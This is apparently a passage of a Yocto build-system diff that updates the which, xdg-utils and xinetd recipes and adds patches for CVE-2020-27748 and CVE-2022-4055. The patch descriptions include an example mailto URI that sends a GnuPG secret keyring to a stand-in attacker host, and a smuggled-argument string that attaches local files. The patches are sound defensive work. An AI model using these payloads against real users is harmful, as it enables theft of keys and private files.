SRC_URI[sha256sum] = "f4a245b94124b377d8b49646bf421f9155d36aa7614b6ebf83705d3ffc76eaad"
-do_configure_prepend() {
+do_configure:prepend() {
sed -i -e 's%@ACLOCAL_CWFLAGS@%-I ${STAGING_DIR_NATIVE}/usr/share/cwautomacros/m4%g' ${S}/Makefile.am ${S}/tilde/Makefile.am
}
-ALTERNATIVE_${PN} = "which"
+ALTERNATIVE:${PN} = "which"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN}-doc = "which.1"
+ALTERNATIVE:${PN}-doc = "which.1"
ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
new file mode 100644
index 0000000000..948b9e22e9
--- /dev/null
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
@@ -0,0 +1,58 @@
+From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
+Date: Tue, 18 Aug 2020 16:52:24 +0100
+Subject: [PATCH] xdg-email: remove attachment handling from mailto
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This allows attacker to extract secrets from users:
+
+mailto:sid@evil.com?attach=/.gnupg/secring.gpg
+
+See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
+and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
+
+Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
+---
+ scripts/xdg-email.in | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+Upstream-Status: Backport
+CVE: CVE-2020-27748
+
+diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
+index 6db58ad..5d2f4f3 100644
+--- a/scripts/xdg-email.in
++++ b/scripts/xdg-email.in
+@@ -32,7 +32,7 @@ _USAGE
+
+ run_thunderbird()
+ {
+- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
++ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+ THUNDERBIRD="$1"
+ MAILTO=$(echo "$2" | sed 's/^mailto://')
+ echo "$MAILTO" | grep -qs "^?"
+@@ -48,7 +48,6 @@ run_thunderbird()
+ BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+ SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
+ BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
+
+ if [ -z "$TO" ] ; then
+ NEWMAILTO=
+@@ -68,10 +67,6 @@ run_thunderbird()
+ NEWMAILTO="${NEWMAILTO},$BODY"
+ fi
+
+- if [ -n "$ATTACH" ] ; then
+- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
+- fi
+-
+ NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
+ DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
+ "$THUNDERBIRD" -compose "$NEWMAILTO"
+--
+GitLab
+
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
new file mode 100644
index 0000000000..b236030108
--- /dev/null
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
@@ -0,0 +1,145 @@
+xdg-email does not parse mailto uris properly for thunderbird
+
+When using thunderbird as mailto handler xdg-email translates mailto uris into an 'thunderbird -compose' argument. While to, cc and bcc values are properly enclosed in single quotes this is not the case for subject or body. This breaks functionality and allows to use all thunderbird -compose arguments within a mailto uri, e.g.
+
+xdg-email 'mailto:test@example.com?subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt'
+
+translates into
+
+thunderbird -compose to='test@example.com,',subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt
+
+with working attachment and message. (And, yes, ~ expands to the home directory.)
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/205]
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+CVE: CVE-2022-4055
+
+
+Index: xdg-utils-1.1.3/scripts/xdg-email.in
+===================================================================
+--- xdg-utils-1.1.3.orig/scripts/xdg-email.in
++++ xdg-utils-1.1.3/scripts/xdg-email.in
+@@ -30,53 +30,6 @@ _USAGE
+
+ #@xdg-utils-common@
+
+-run_thunderbird()
+-{
+- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+- THUNDERBIRD="$1"
+- MAILTO=$(echo "$2" | sed 's/^mailto://')
+- echo "$MAILTO" | grep -qs "^?"
+- if [ "$?" = "0" ] ; then
+- MAILTO=$(echo "$MAILTO" | sed 's/^?//')
+- else
+- MAILTO=$(echo "$MAILTO" | sed 's/^/to=/' | sed 's/?/\&/')
+- fi
+-
+- MAILTO=$(echo "$MAILTO" | sed 's/&/\n/g')
+- TO=$(/bin/echo -e $(echo "$MAILTO" | grep '^to=' | sed 's/^to=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+- CC=$(/bin/echo -e $(echo "$MAILTO" | grep '^cc=' | sed 's/^cc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+- BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+- SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
+- BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+-
+- if [ -z "$TO" ] ; then
+- NEWMAILTO=
+- else
+- NEWMAILTO="to='$TO'"
+- fi
+- if [ -n "$CC" ] ; then
+- NEWMAILTO="${NEWMAILTO},cc='$CC'"
+- fi
+- if [ -n "$BCC" ] ; then
+- NEWMAILTO="${NEWMAILTO},bcc='$BCC'"
+- fi
+- if [ -n "$SUBJECT" ] ; then
+- NEWMAILTO="${NEWMAILTO},$SUBJECT"
+- fi
+- if [ -n "$BODY" ] ; then
+- NEWMAILTO="${NEWMAILTO},$BODY"
+- fi
+-
+- NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
+- DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
+- "$THUNDERBIRD" -compose "$NEWMAILTO"
+- if [ $? -eq 0 ]; then
+- exit_success
+- else
+- exit_failure_operation_failed
+- fi
+-}
+-
+ open_kde()
+ {
+ if [ -n "$KDE_SESSION_VERSION" ] && [ "$KDE_SESSION_VERSION" -ge 5 ]; then
+@@ -130,15 +83,6 @@ open_kde()
+
+ open_gnome3()
+ {
+- local client
+- local desktop
+- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
+- client=`desktop_file_to_binary "$desktop"`
+- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
+- if [ $? -eq 0 ] ; then
+- run_thunderbird "$client" "$1"
+- fi
+-
+ if gio help open 2>/dev/null 1>&2; then
+ DEBUG 1 "Running gio open \"$1\""
+ gio open "$1"
+@@ -159,13 +103,6 @@ open_gnome3()
+
+ open_gnome()
+ {
+- local client
+- client=`gconftool-2 --get /desktop/gnome/url-handlers/mailto/command | cut -d ' ' -f 1` || ""
+- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
+- if [ $? -eq 0 ] ; then
+- run_thunderbird "$client" "$1"
+- fi
+-
+ if gio help open 2>/dev/null 1>&2; then
+ DEBUG 1 "Running gio open \"$1\""
+ gio open "$1"
+@@ -231,15 +168,6 @@ open_flatpak()
+
+ open_generic()
+ {
+- local client
+- local desktop
+- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
+- client=`desktop_file_to_binary "$desktop"`
+- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
+- if [ $? -eq 0 ] ; then
+- run_thunderbird "$client" "$1"
+- fi
+-
+ xdg-open "$1"
+ local ret=$?
+
+@@ -364,21 +292,6 @@ while [ $# -gt 0 ] ; do
+ shift
+ ;;
+
+- --attach)
+- if [ -z "$1" ] ; then
+- exit_failure_syntax "file argument missing for --attach option"
+- fi
+- check_input_file "$1"
+- file=`readlink -f "$1"` # Normalize path
+- if [ -z "$file" ] || [ ! -f "$file" ] ; then
+- exit_failure_file_missing "file '$1' does not exist"
+- fi
+-
+- url_encode "$file"
+- options="${options}attach=${result}&"
+- shift
+- ;;
+-
+ -*)
+ exit_failure_syntax "unexpected option '$parm'"
+ ;;
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.2.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
index 7339289de6..4d93180535 100644
--- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.2.bb
+++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
@@ -17,21 +17,23 @@ xdg-terminal \
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
-SRC_URI = "http://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
+SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
file://0001-Reinstate-xdg-terminal.patch \
file://0001-Don-t-build-the-in-script-manual.patch \
+ file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
+ file://CVE-2022-4055.patch \
"
-SRC_URI[md5sum] = "361e75eb76c94d19f6f4f330d8ee626b"
-SRC_URI[sha256sum] = "951952e2c6bb21214e0bb54e0dffa057d30f5563300225c24c16fba846258bcc"
+SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff"
+SRC_URI[sha256sum] = "d798b08af8a8e2063ddde6c9fa3398ca81484f27dec642c5627ffcaa0d4051d9"
UPSTREAM_CHECK_REGEX = "xdg-utils-(?P<pver>((\d+[\.\-_]*)+)((rc|alpha|beta)\d+)?)\.(tar\.gz|tgz)"
# Needs brokensep as this doesn't use automake
-inherit autotools-brokensep distro_features_check
+inherit autotools-brokensep features_check
# The xprop requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
DEPENDS = "xmlto-native libxslt-native"
-RDEPENDS_${PN} += "xprop"
+RDEPENDS:${PN} += "xprop"
diff --git a/meta/recipes-extended/xinetd/xinetd/0001-configure-Use-HAVE_SYS_RESOURCE_H-to-guard-sys-resou.patch b/meta/recipes-extended/xinetd/xinetd/0001-configure-Use-HAVE_SYS_RESOURCE_H-to-guard-sys-resou.patch
deleted file mode 100644
index 3c1b2f6f0e..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/0001-configure-Use-HAVE_SYS_RESOURCE_H-to-guard-sys-resou.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From e8b0ffc7ea04cc71dba97a38e1a134aaf2285c2d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 30 Dec 2015 07:14:50 +0000
-Subject: [PATCH] configure: Use HAVE_SYS_RESOURCE_H to guard sys/resource.h
- inclusion
-
-HAVE_RLIM_T check will not let sys/resource.h to be checked and
-rlim_t is defined in sys/resource.h so the check would fail.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- aclocal.m4 | 2 +-
- configure | 14 +++++++-------
- 2 files changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/aclocal.m4 b/aclocal.m4
-index 6e6f32c..70e7076 100644
---- a/aclocal.m4
-+++ b/aclocal.m4
-@@ -11,7 +11,7 @@ AC_CACHE_VAL(xinetd_cv_type_$1,
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-diff --git a/configure b/configure
-index b507d38..bec56ea 100755
---- a/configure
-+++ b/configure
-@@ -7640,7 +7640,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7686,7 +7686,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7732,7 +7732,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7778,7 +7778,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7824,7 +7824,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7870,7 +7870,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
-@@ -7916,7 +7916,7 @@ cat >>conftest.$ac_ext <<_ACEOF
- #if HAVE_NETDB_H
- #include <netdb.h>
- #endif
--#if HAVE_RLIM_T
-+#if HAVE_SYS_RESOURCE_H
- #include <sys/resource.h>
- #endif
- #if HAVE_STDINT_H
---
-2.6.4
-
diff --git a/meta/recipes-extended/xinetd/xinetd/Disable-services-from-inetd.conf-if-a-service-with-t.patch b/meta/recipes-extended/xinetd/xinetd/Disable-services-from-inetd.conf-if-a-service-with-t.patch
deleted file mode 100644
index cd6e6c1078..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/Disable-services-from-inetd.conf-if-a-service-with-t.patch
+++ /dev/null
@@ -1,86 +0,0 @@
-Upstream-Status: Pending [from other distro Debian]
-
-From d588b6530e1382a624898b3f4307f636c72c80a9 Mon Sep 17 00:00:00 2001
-From: Pierre Habouzit <madcoder@debian.org>
-Date: Wed, 28 Nov 2007 10:13:08 +0100
-Subject: [PATCH] Disable services from inetd.conf if a service with the same id exists.
-
- This way, if a service is enabled in /etc/xinetd* _and_ in
-/etc/inetd.conf, the one (even if disabled) from /etc/xinetd* takes
-precedence.
-
-Signed-off-by: Pierre Habouzit <madcoder@debian.org>
----
- xinetd/inet.c | 22 +++++++++++++++++++---
- 1 files changed, 19 insertions(+), 3 deletions(-)
-
-diff --git a/xinetd/inet.c b/xinetd/inet.c
-index 1cb2ba2..8caab45 100644
---- a/xinetd/inet.c
-+++ b/xinetd/inet.c
-@@ -23,6 +23,8 @@
- #include "parsesup.h"
- #include "nvlists.h"
-
-+static psi_h iter ;
-+
- static int get_next_inet_entry( int fd, pset_h sconfs,
- struct service_config *defaults);
-
-@@ -32,12 +34,15 @@ void parse_inet_conf_file( int fd, struct configuration *confp )
- struct service_config *default_config = CNF_DEFAULTS( confp );
-
- line_count = 0;
-+ iter = psi_create (sconfs);
-
- for( ;; )
- {
- if (get_next_inet_entry(fd, sconfs, default_config) == -2)
- break;
- }
-+
-+ psi_destroy(iter);
- }
-
- static int get_next_inet_entry( int fd, pset_h sconfs,
-@@ -46,7 +51,7 @@ static int get_next_inet_entry( int fd, pset_h sconfs,
- char *p;
- str_h strp;
- char *line = next_line(fd);
-- struct service_config *scp;
-+ struct service_config *scp, *tmp;
- unsigned u, i;
- const char *func = "get_next_inet_entry";
- char *name = NULL, *rpcvers = NULL, *rpcproto = NULL;
-@@ -405,7 +410,16 @@ static int get_next_inet_entry( int fd, pset_h sconfs,
- SC_SPECIFY( scp, A_SOCKET_TYPE );
- SC_SPECIFY( scp, A_WAIT );
-
-- if( ! pset_add(sconfs, scp) )
-+ for ( tmp = SCP( psi_start( iter ) ) ; tmp ; tmp = SCP( psi_next(iter)) ){
-+ if (EQ(SC_ID(scp), SC_ID(tmp))) {
-+ parsemsg(LOG_DEBUG, func, "removing duplicate service %s", SC_NAME(scp));
-+ sc_free(scp);
-+ scp = NULL;
-+ break;
-+ }
-+ }
-+
-+ if( scp && ! pset_add(sconfs, scp) )
- {
- out_of_memory( func );
- pset_destroy(args);
-@@ -414,7 +428,9 @@ static int get_next_inet_entry( int fd, pset_h sconfs,
- }
-
- pset_destroy(args);
-- parsemsg( LOG_DEBUG, func, "added service %s", SC_NAME(scp));
-+ if (scp) {
-+ parsemsg( LOG_DEBUG, func, "added service %s", SC_NAME(scp));
-+ }
- return 0;
- }
-
---
-1.5.3.6.2040.g15e6
-
diff --git a/meta/recipes-extended/xinetd/xinetd/Various-fixes-from-the-previous-maintainer.patch b/meta/recipes-extended/xinetd/xinetd/Various-fixes-from-the-previous-maintainer.patch
deleted file mode 100644
index 8e59cdcaae..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/Various-fixes-from-the-previous-maintainer.patch
+++ /dev/null
@@ -1,79 +0,0 @@
-Upstream-Status: Pending [from other distro Debian]
-
-From a3410b0bc81ab03a889d9ffc14e351badf8372f1 Mon Sep 17 00:00:00 2001
-From: Pierre Habouzit <madcoder@debian.org>
-Date: Mon, 26 Nov 2007 16:02:04 +0100
-Subject: [PATCH] Various fixes from the previous maintainer.
-
----
- xinetd/child.c | 20 +++++++++++++++++---
- xinetd/service.c | 8 ++++----
- 2 files changed, 21 insertions(+), 7 deletions(-)
-
-diff --git a/xinetd/child.c b/xinetd/child.c
-index 89ee54c..48e9615 100644
---- a/xinetd/child.c
-+++ b/xinetd/child.c
-@@ -284,6 +284,7 @@ void child_process( struct server *serp )
- connection_s *cp = SERVER_CONNECTION( serp ) ;
- struct service_config *scp = SVC_CONF( sp ) ;
- const char *func = "child_process" ;
-+ int fd, null_fd;
-
- signal_default_state();
-
-@@ -296,9 +297,22 @@ void child_process( struct server *serp )
- signals_pending[0] = -1;
- signals_pending[1] = -1;
-
-- Sclose(0);
-- Sclose(1);
-- Sclose(2);
-+ if ( ( null_fd = open( "/dev/null", O_RDONLY ) ) == -1 )
-+ {
-+ msg( LOG_ERR, func, "open('/dev/null') failed: %m") ;
-+ _exit( 1 ) ;
-+ }
-+
-+ for ( fd = 0 ; fd <= MAX_PASS_FD ; fd++ )
-+ {
-+ if ( fd != null_fd && dup2( null_fd, fd ) == -1 )
-+ {
-+ msg( LOG_ERR, func, "dup2(%d, %d) failed: %m") ;
-+ _exit( 1 ) ;
-+ }
-+ }
-+ if ( null_fd > MAX_PASS_FD )
-+ (void) Sclose( null_fd ) ;
-
-
- #ifdef DEBUG_SERVER
-diff --git a/xinetd/service.c b/xinetd/service.c
-index 3d68d78..0132d6c 100644
---- a/xinetd/service.c
-+++ b/xinetd/service.c
-@@ -745,8 +745,8 @@ static status_e failed_service(struct service *sp,
- return FAILED;
-
- if ( last == NULL ) {
-- last = SAIN( calloc( 1, sizeof(union xsockaddr) ) );
-- SVC_LAST_DGRAM_ADDR(sp) = (union xsockaddr *)last;
-+ SVC_LAST_DGRAM_ADDR(sp) = SAIN( calloc( 1, sizeof(union xsockaddr) ) );
-+ last = SAIN( SVC_LAST_DGRAM_ADDR(sp) );
- }
-
- (void) time( &current_time ) ;
-@@ -772,8 +772,8 @@ static status_e failed_service(struct service *sp,
- return FAILED;
-
- if( last == NULL ) {
-- last = SAIN6(calloc( 1, sizeof(union xsockaddr) ) );
-- SVC_LAST_DGRAM_ADDR( sp ) = (union xsockaddr *)last;
-+ SVC_LAST_DGRAM_ADDR(sp) = SAIN6(calloc( 1, sizeof(union xsockaddr) ) );
-+ last = SAIN6(SVC_LAST_DGRAM_ADDR(sp));
- }
-
- (void) time( &current_time ) ;
---
-1.5.3.6.2040.g15e6
-
diff --git a/meta/recipes-extended/xinetd/xinetd/xinetd-CVE-2013-4342.patch b/meta/recipes-extended/xinetd/xinetd/xinetd-CVE-2013-4342.patch
deleted file mode 100644
index 852a43f2de..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/xinetd-CVE-2013-4342.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-xinetd: CVE-2013-4342
-
-xinetd does not enforce the user and group configuration directives
-for TCPMUX services, which causes these services to be run as root
-and makes it easier for remote attackers to gain privileges by
-leveraging another vulnerability in a service.
-http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4342
-
-the patch come from:
-https://bugzilla.redhat.com/attachment.cgi?id=799732&action=diff
-
-CVE: CVE-2013-4342
-Signed-off-by: Li Wang <li.wang@windriver.com>
-Upstream-Status: Backport
----
- xinetd/builtins.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/xinetd/builtins.c b/xinetd/builtins.c
-index 3b85579..34a5bac 100644
---- a/xinetd/builtins.c
-+++ b/xinetd/builtins.c
-@@ -617,7 +617,7 @@ static void tcpmux_handler( const struct server *serp )
- if( SC_IS_INTERNAL( scp ) ) {
- SC_INTERNAL(scp, nserp);
- } else {
-- exec_server(nserp);
-+ child_process(nserp);
- }
- }
-
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/xinetd/xinetd/xinetd-should-be-able-to-listen-on-IPv6-even-in-ine.patch b/meta/recipes-extended/xinetd/xinetd/xinetd-should-be-able-to-listen-on-IPv6-even-in-ine.patch
deleted file mode 100644
index 2365ca123b..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/xinetd-should-be-able-to-listen-on-IPv6-even-in-ine.patch
+++ /dev/null
@@ -1,112 +0,0 @@
-Upstream-Status: Pending [from other distro Debian]
-
-From f44b218ccc779ab3f4aed072390ccf129d94b58d Mon Sep 17 00:00:00 2001
-From: David Madore <david@pleiades.stars>
-Date: Mon, 24 Mar 2008 12:45:36 +0100
-Subject: [PATCH] xinetd should be able to listen on IPv6 even in -inetd_compat mode
-
-xinetd does not bind to IPv6 addresses (and does not seem to have an
-option to do so) when used in -inetd_compat mode. As current inetd's
-are IPv6-aware, this is a problem: this means xinetd cannot be used as
-a drop-in inetd replacement.
-
-The attached patch is a suggestion: it adds a -inetd_ipv6 global
-option that, if used, causes inetd-compatibility lines to have an
-implicit "IPv6" option. Perhaps this is not the best solution, but
-there should definitely be a way to get inetd.conf to be read in
-IPv6-aware mode.
----
- xinetd/confparse.c | 1 +
- xinetd/inet.c | 17 +++++++++++++++++
- xinetd/options.c | 3 +++
- xinetd/xinetd.man | 6 ++++++
- 4 files changed, 27 insertions(+), 0 deletions(-)
-
-diff --git a/xinetd/confparse.c b/xinetd/confparse.c
-index db9f431..d7b0bcc 100644
---- a/xinetd/confparse.c
-+++ b/xinetd/confparse.c
-@@ -40,6 +40,7 @@
- #include "inet.h"
- #include "main.h"
-
-+extern int inetd_ipv6;
- extern int inetd_compat;
-
- /*
-diff --git a/xinetd/inet.c b/xinetd/inet.c
-index 8caab45..2e617ae 100644
---- a/xinetd/inet.c
-+++ b/xinetd/inet.c
-@@ -25,6 +25,8 @@
-
- static psi_h iter ;
-
-+extern int inetd_ipv6;
-+
- static int get_next_inet_entry( int fd, pset_h sconfs,
- struct service_config *defaults);
-
-@@ -360,6 +362,21 @@ static int get_next_inet_entry( int fd, pset_h sconfs,
- }
- SC_SERVER_ARGV(scp)[u] = p;
- }
-+
-+ /* Set the IPv6 flag if we were passed the -inetd_ipv6 option */
-+ if ( inetd_ipv6 )
-+ {
-+ nvp = nv_find_value( service_flags, "IPv6" );
-+ if ( nvp == NULL )
-+ {
-+ parsemsg( LOG_WARNING, func, "inetd.conf - Bad foo %s", name ) ;
-+ pset_destroy(args);
-+ sc_free(scp);
-+ return -1;
-+ }
-+ M_SET(SC_XFLAGS(scp), nvp->value);
-+ }
-+
- /* Set the reuse flag, as this is the default for inetd */
- nvp = nv_find_value( service_flags, "REUSE" );
- if ( nvp == NULL )
-diff --git a/xinetd/options.c b/xinetd/options.c
-index b058b6a..dc2f3a0 100644
---- a/xinetd/options.c
-+++ b/xinetd/options.c
-@@ -30,6 +30,7 @@ int logprocs_option ;
- unsigned logprocs_option_arg ;
- int stayalive_option=0;
- char *program_name ;
-+int inetd_ipv6 = 0 ;
- int inetd_compat = 0 ;
- int dont_fork = 0;
-
-@@ -128,6 +129,8 @@ int opt_recognize( int argc, char *argv[] )
- fprintf(stderr, "\n");
- exit(0);
- }
-+ else if ( strcmp ( &argv[ arg ][ 1 ], "inetd_ipv6" ) == 0 )
-+ inetd_ipv6 = 1;
- else if ( strcmp ( &argv[ arg ][ 1 ], "inetd_compat" ) == 0 )
- inetd_compat = 1;
- }
-diff --git a/xinetd/xinetd.man b/xinetd/xinetd.man
-index c76c3c6..c9dd803 100644
---- a/xinetd/xinetd.man
-+++ b/xinetd/xinetd.man
-@@ -106,6 +106,12 @@ This option causes xinetd to read /etc/inetd.conf in addition to the
- standard xinetd config files. /etc/inetd.conf is read after the
- standard xinetd config files.
- .TP
-+.BI \-inetd_ipv6
-+This option causes xinetd to bind to IPv6 (AF_INET6) addresses for
-+inetd compatibility lines (see previous option). This only affects
-+how /etc/inetd.conf is interpreted and thus only has any effect if
-+the \-inetd_compat option is also used.
-+.TP
- .BI \-cc " interval"
- This option instructs
- .B xinetd
---
-1.5.5.rc0.127.gb4337
-
diff --git a/meta/recipes-extended/xinetd/xinetd/xinetd.conf b/meta/recipes-extended/xinetd/xinetd/xinetd.conf
deleted file mode 100644
index 9e6ea2577e..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/xinetd.conf
+++ /dev/null
@@ -1,11 +0,0 @@
-# Simple configuration file for xinetd
-#
-# Some defaults, and include /etc/xinetd.d/
-
-defaults
-{
-
-
-}
-
-includedir /etc/xinetd.d
diff --git a/meta/recipes-extended/xinetd/xinetd/xinetd.service b/meta/recipes-extended/xinetd/xinetd/xinetd.service
index d5fdc5bc29..6da92f2bf5 100644
--- a/meta/recipes-extended/xinetd/xinetd/xinetd.service
+++ b/meta/recipes-extended/xinetd/xinetd/xinetd.service
@@ -3,11 +3,8 @@ Description=Xinetd A Powerful Replacement For Inetd
After=syslog.target network.target
[Service]
-Type=forking
-PIDFile=/var/run/xinetd.pid
EnvironmentFile=-/etc/sysconfig/xinetd
-ExecStart=@SBINDIR@/xinetd -stayalive -pidfile /var/run/xinetd.pid "$EXTRAOPTIONS"
-ExecReload=@BASE_BINDIR@/kill -HUP $MAINPID
+ExecStart=@SBINDIR@/xinetd -dontfork "$EXTRAOPTIONS"
[Install]
WantedBy=multi-user.target
diff --git a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
new file mode 100644
index 0000000000..72eb1ae067
--- /dev/null
+++ b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
@@ -0,0 +1,54 @@
+SUMMARY = "Socket-based service activation daemon"
+HOMEPAGE = "https://github.com/xinetd-org/xinetd"
+DESCRIPTION = "xinetd is a powerful replacement for inetd, xinetd has access control mechanisms, extensive logging capabilities, the ability to make services available based on time, can place limits on the number of servers that can be started, and has deployable defence mechanisms to protect against port scanners, among other things."
+
+LICENSE = "xinetd"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=55c5fdf02cfcca3fc9621b6f2ceae10f"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
+
+SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https;branch=master \
+ file://xinetd.init \
+ file://xinetd.default \
+ file://xinetd.service \
+ "
+
+SRCREV = "6a4af7786630ce48747d9687e2f18f45ea6684c4"
+
+S = "${WORKDIR}/git"
+
+# https://github.com/xinetd-org/xinetd/pull/10 is merged into this git tree revision
+CVE_STATUS[CVE-2013-4342] = "fixed-version: Fixed directly in git tree revision"
+
+inherit autotools update-rc.d systemd pkgconfig
+
+SYSTEMD_SERVICE:${PN} = "xinetd.service"
+
+INITSCRIPT_NAME = "xinetd"
+INITSCRIPT_PARAMS = "defaults"
+
+PACKAGECONFIG ??= "tcp-wrappers"
+PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers"
+
+CFLAGS += "-D_GNU_SOURCE"
+
+CONFFILES:${PN} = "${sysconfdir}/xinetd.conf"
+
+do_install:append() {
+ install -d "${D}${sysconfdir}/init.d"
+ install -d "${D}${sysconfdir}/default"
+ install -m 755 "${WORKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd"
+ install -m 644 "${WORKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd"
+
+ # Install systemd unit files
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/xinetd.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${systemd_system_unitdir}/xinetd.service
+}
+
